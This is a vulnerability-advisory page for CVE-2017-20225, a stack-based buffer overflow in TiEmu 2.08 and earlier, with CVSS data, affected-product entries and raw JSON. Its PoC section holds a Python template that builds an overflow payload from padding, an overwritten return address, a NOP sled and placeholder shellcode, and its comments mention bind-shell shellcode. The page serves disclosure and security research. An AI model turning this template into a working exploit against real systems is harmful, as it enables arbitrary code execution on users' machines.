Security Vulnerability Report
中文
CVE-2017-20225 CVSS 9.8 CRITICAL

CVE-2017-20225

Published: 2026-03-28 12:16:02
Last Modified: 2026-04-08 19:49:59

Description

TiEmu 2.08 and prior contains a stack-based buffer overflow vulnerability that allows attackers to execute arbitrary code by exploiting inadequate boundary checks on user-supplied input. Attackers can trigger the overflow through command-line arguments passed to the application, leveraging ROP gadgets to bypass protections and execute shellcode in the application context.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ticalc:tiemu:*:*:*:*:*:*:*:* - VULNERABLE
TiEmu <= 2.08

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys import os import struct # Proof of Concept for CVE-2017-20225 # This script generates a payload to trigger the stack-based buffer overflow in TiEmu. # Note: Offsets and addresses need to be adjusted based on the specific environment and binary version. def generate_payload(offset, ret_addr, padding=0): # 1. Padding to reach the return address on the stack buf = b"A" * offset # 2. Overwrite EIP/RIP with a ROP gadget or jump address # This address is hypothetical and requires debugging the binary buf += struct.pack("<I", ret_addr) # 3. NOP sled for shellcode execution buf += b"\x90" * 50 # 4. Shellcode (Example: calc.exe or bind shell) # MSFVenom generated shellcode placeholder shellcode = b"\xcc\xcc\xcc\xcc" # Int3 for testing crash buf += shellcode return buf if __name__ == "__main__": # Configuration # Offset needs to be determined by pattern creation (e.g., metasploit pattern_create) BUFFER_OFFSET = 524 # Return address to pivot execution (e.g., jmp esp) RETURN_ADDRESS = 0xdeadbeef print(f"[*] Generating payload for CVE-2017-20225...") payload = generate_payload(BUFFER_OFFSET, RETURN_ADDRESS) # In a real scenario, this payload would be passed as an argument to TiEmu # Example: /path/to/tiemu "<payload>" print(f"[*] Payload length: {len(payload)} bytes") print(f"[*] Payload (Hex): {payload.hex()}") # Simulate triggering the vulnerability # os.system(f"tiemu {payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2017-20225", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:01.613", "lastModified": "2026-04-08T19:49:58.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TiEmu 2.08 and prior contains a stack-based buffer overflow vulnerability that allows attackers to execute arbitrary code by exploiting inadequate boundary checks on user-supplied input. Attackers can trigger the overflow through command-line arguments passed to the application, leveraging ROP gadgets to bypass protections and execute shellcode in the application context."}, {"lang": "es", "value": "TiEmu 2.08 y versiones anteriores contiene una vulnerabilidad de desbordamiento de búfer basado en pila que permite a los atacantes ejecutar código arbitrario explotando comprobaciones de límites inadecuadas en la entrada proporcionada por el usuario. Los atacantes pueden desencadenar el desbordamiento a través de argumentos de línea de comandos pasados a la aplicación, aprovechando gadgets ROP para eludir protecciones y ejecutar shellcode en el contexto de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ticalc:tiemu:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.8", "matchCriteriaId": "3F44F456-F3A8-414D-B160-9872A9CE733B"}]}]}], "references": [{"url": "http://lpg.ticalc.org/prj_tiemu/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/42087", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/tiemu-stack-based-buffer-overflow-vulnerability", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}